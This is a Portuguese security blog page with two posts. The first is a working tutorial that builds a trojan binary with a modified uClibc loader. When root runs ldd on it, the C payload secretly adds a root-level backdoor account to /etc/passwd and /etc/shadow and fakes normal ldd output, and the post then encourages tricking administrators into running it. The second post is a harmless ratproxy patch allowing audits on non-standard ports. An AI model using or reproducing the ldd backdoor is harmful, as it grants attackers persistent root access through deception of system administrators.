segunda-feira, 31 de maio de 2010

Engenharia "tecno-social"

Engenharia social é um dos temas mais abordados no meio de segurança da informação, isso talvez por não exigir nenhum skill técnico.
Hoje em dia é muito fácil achar esse tipo de ataque, desde gangues que se utilizam de engenharia social para roubar aposentadoria de velhinhos desinformados, de usuários desatentos que clicam em qualquer link que encontram por ae ou no caso que vou tentar demonstrar aqui utilizando a ingenuidade de muitos admins de rede.
Um exemplo claro da ingenuidade de muitos admins é demonstrada na palestra do Bruno Gonçalves na ultima H2HC sobre engenharia social.
Agora vamos ao que interessa =p

Ha um tempo atrás (quando percebi que o ldd não passava de um enorme shellscript..rsrs) desconfiei que o ldd poderia permitir a execução de código porem isso dependeria de gerar uma glibc alterada para que o ld-linux.so setar a variável de ambiente "LD_TRACE_LOADED_OBJECTS" dai conseguir executar o programa quando chama-lo com o ldd o problema aqui é que não podemos simplesmente adicionar uma glib nova no server que queremos atacar então o que faremos? vamos compilar um programa com outro loader e simplesmente enviar a lib alterada junto com ele ;)

Como?

Vamos baixar a biblioteca C  "uClib" (http://www.uclibc.org/) e configura-la da seguinte forma:

Crie um diretório onde deseja fazer os testes (Ex.: /home/usuario/teste ), baixe a uClib em http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2

Descompacte, entre no diretório criado (uClibc-0.9.30.1) e execute o comando "make menuconfig" para selecionar o tipo de arquitetura do sistema do sistema (na maioria dos casos usa-se a i386),
Salve e saia, depois altere o arquivo .config e configure o diretório de destino da instalação para o diretório que você criou (/home/usuario/teste no nosso exemplo)


---
# Mudar de
RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

# Para
RUNTIME_PREFIX="/home/usuario/teste/uclibc/"
DEVEL_PREFIX="/home/usuario/teste/uclibc/usr/"
---

Agora precisamos comentar da linha 406 até a linha 410 no arquivo "ldso/ldso/ldso.c"

---
/*
    if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
        trace_loaded_objects++;
    }
*/
---


Agora basta o clássico "$make && make install" para compilar e instalar nossa lib alterar no diretório "/home/usuario/teste" =D
Dai podemos criar um executável e "linka-lo" a essa lib, desta forma sempre que o ldd chama-lo ele executará o código que quisermos.. 8-]

Vamos ao primeiro código de teste:
Crie um arquivo "ldd-world.c" com o conteúdo abaixo

--
#include
#include

int main() {
  if (getenv("LD_TRACE_LOADED_OBJECTS")) {
    printf("Executando comando via ldd\n");
  }
  else {
    printf("Alo Mundo!!!\n");
  }
  return 0;
}
--

O código acima é bem básico e ele checa se a variável LD_TRACE_LOADED_OBJECTS esta setada (o que significa que ele esta sendo chamado através do ldd), se ela estiver setada ele exibe a
mensagem "Executando comando via ldd" caso contrário ele exibe a famosa mensagem "Alo Mundo".
Agora vamos compila-lo, essa parte não basta executar o velho "gcc -o" pois precisamos lincar esse código a nossa uClib preparada anteriormente, então para compilar usaremos o seguinte comando:


---
$ UCDIR=/home/usuario/teste/uclibc

$ gcc -Wl,--dynamic-linker,$UCDIR/lib/ld-uClibc.so.0 -Wl,-rpath-link,$UCDIR/lib -nostdlib ldd-world.c -o ldd-world $UCDIR/usr/lib/crt*.o -L$UCDIR/usr/lib/ -lc
---

Explicando:
-Wl,--dynamic-linker,$UCDIR/lib/ld-uClibc.so.0 --> Configura o novo loader (repare que não deve ser o ld-linux.so)

-Wl,-rpath-link,$UCDIR/lib            --> Configura o diretório onde o loader irá procurar suas dependencias

-nostdlib                   --> Usado para que o programa não utilize bibliotecas do sistema

ldd-world.c -o ldd-world            --> Compila o ldd-world.c criando o executavel ldd-world

$UCDIR/usr/lib/crt*.o                   --> Link estático para o código em tempo de execução

-L$UCDIR/usr/lib/               --> Diretório onde o programa deve progurar a libc

-lc                        --> link com a biblioteca C



Agora vamos ao teste.

---
$ ./ldd-world
Alo Mundo!!!
---

Até aqui OK como não chamamos ele com ldd a variarel LD_TRACE_LOADED_OBJECTS não foi setada e o programa não faz nada. Agora vamos chamar o programa com o ldd

--
$ ldd ldd-world
Executando comando via ldd
--

Aeeee OWNED !1!!!!1 :p

Abaixo segue um código mais trabalhado que adiciona o usuário "own" com a senha "owned" no sistema caso o ldd seja executado pelo root.... =P

---
/* Não rode este código na sua máquina local.
aconselho o uso de máquinas virtuais para testes*/

#include
#include
#include
#include

void pretend_as_ldd()
{
    printf("\tlinux-gate.so.1 =>  (0xffffe000)\n");
    printf("\tlibat.so.0 => not found\n");
    printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n");
    printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");
}


void passwd_file()
{
    FILE * pFile;
    pFile = fopen ("/etc/passwd","a+");
    fprintf (pFile, "own:x:0:0::/root/:/bin/sh\n");
    fclose (pFile);
   
    pFile = fopen ("/etc/shadow","a+");
    fprintf (pFile, "own:$1$gK1UdW1V$NSlmLeLSns7q0hDPDhkvY0:::::::\n");
    fclose (pFile);
}

void malicious()
{
    if (geteuid() == 0) {
        passwd_file();
    }
}

int main(int argc, char **argv)
{
    if (getenv("LD_TRACE_LOADED_OBJECTS")) {
        malicious();
        pretend_as_ldd();
        return 0;
    }
   
    printf("%s: error while loading shared libraries: libat.so.0: "
           "cannot open shared object file: No such file or directory\n",
           argv[0]);
    return 127;
}

---

Apartir daqui basta treinar as suas técnicas de engenharia social para fazer o admin executar o ldd no seu programa =p



Usem com cuidado.

By CleBeeR


Referencias:

http://catonmat.net/blog/ldd-arbitrary-code-execution

http://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html

http://www.mail-archive.com/debian-glibc@lists.debian.org/msg39907.html

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514408

http://g0thacked.wordpress.com/files/2009/11/breaking-the-perimeter1.pdf

quinta-feira, 6 de maio de 2010

Ratproxy em portas não padrão ( 80 ou 443 )

Em alguns testes de segurança e auditoria em serviços Web precisamos utilizar ferramentas que nos auxiliam a realizar este processo, existem diversas ferramentas para isso, dentre elas estão o w3af, parosProxy, burpsuite, webscarab e o ratproxy. O ratproxy* trabalha como um proxy entre o browser do usuário (geralmente quem faz a auditoria) e o site/programa a ser auditado porem em algumas auditorias pode-se encontrar sites/programas que não rodam nas portas web padrão que são as portas 80 e 443, nesse caso ao tentar auditar um serviço que não roda nessas portas o ratproxy exibe a seguinte mensagem:

"[!] WARNING: Access to this port denied."

Segundo o desenvolvedor do projeto essa é uma feature implementada por questões de segurança, para evitar que o ratproxy seja utilizado como um portscan ou que sejam enviados pacotes para serviços não-HTTP porém essa implementação acaba nos limitando em determinadas auditorias onde precisamos testar um serviço web rodando em uma porta não padrão e para contornar esse problema eu criei um patch que adiciona a opção "-N" ao ratproxy que quando utilizada nos permite auditar sistemas web que não rodem nas portas padrão.
Basta aplicar o patch a seguir ou se preferir pode baixar o ratproxy com o patch já aplicado clicando aqui

------
# Created by Cl3BeeR
# Thu May 06 2010
--- ratproxy.c 2009-03-31 07:32:10.000000000 -0300
+++ ratproxy.c 2010-05-06 09:59:06.167625043 -0300
@@ -77,6 +77,7 @@
 _u8* trace_dir; /* Trace directory            */
 _u32 proxy_port = 8080; /* Upstream proxy port        */
 _u8  use_len; /* Use length, not cksum      */
+_u8* non_http; /* Accept requests for non-HTTP ports      */

 static FILE* outfile; /* Output file descriptor     */

@@ -105,6 +106,7 @@
         "   -m            - log all active content referenced across domains\n"
         "   -X            - disruptively validate XSRF, XSS protections\n"
         "   -C            - try to auto-correct persistent side effects of -X\n"
+        "   -N            - Accept requests to non-HTTP ports \n"
         "   -k            - flag HTTP requests as bad (for HTTPS-only applications)\n"
         "   -a            - indiscriminately report all visited URLs\n\n"

@@ -1660,9 +1662,9 @@

   signal(SIGPIPE, SIG_IGN);
  -1726,6 +1728,10 @@
         all_xss = 1;
         break;

+      case 'N':
+ non_http = 1;
+ break;
+
       case 'g':
         get_xsrf = 1;
         break;
--- http.c 2009-05-13 16:41:01.000000000 -0300
+++ http.c 2010-05-04 10:45:45.366625269 -0300
@@ -53,6 +53,7 @@
 extern _u8* use_proxy; /* Runtime setting exports from ratproxy. */
 extern _u32 proxy_port;
 extern _u8  use_len;
+extern _u8* non_http;

 static _u8 srv_buf[MAXLINE], /* libc IO buffers */
            cli_buf[MAXLINE];
@@ -496,7 +497,7 @@
     if (!ret->port || ret->port > 65535)
       http_error(client,"Illegal port specification",1);

-    if (ret->port < 1024 && ret->port != 80 && ret->port != 443)
+   if (!non_http && (ret->port < 1024 && ret->port != 80 && ret->port != 443))
       http_error(client,"Access to this port denied",1);

     *x = 0;
--- config.h 2009-05-13 16:40:38.000000000 -0300
+++ config.h 2010-05-06 10:00:03.570624548 -0300
@@ -26,7 +26,7 @@

 #include "types.h"

-#define VERSION "1.58-beta"
+#define VERSION "1.58-beta-CleBe3R-Non-http-Patch"

 /* Maximum request / response header line length (HTTP traffic
    that exceeds this limit will be rejected). */

------

* http://code.google.com/p/ratproxy/

g0 h4ck
By CleBeer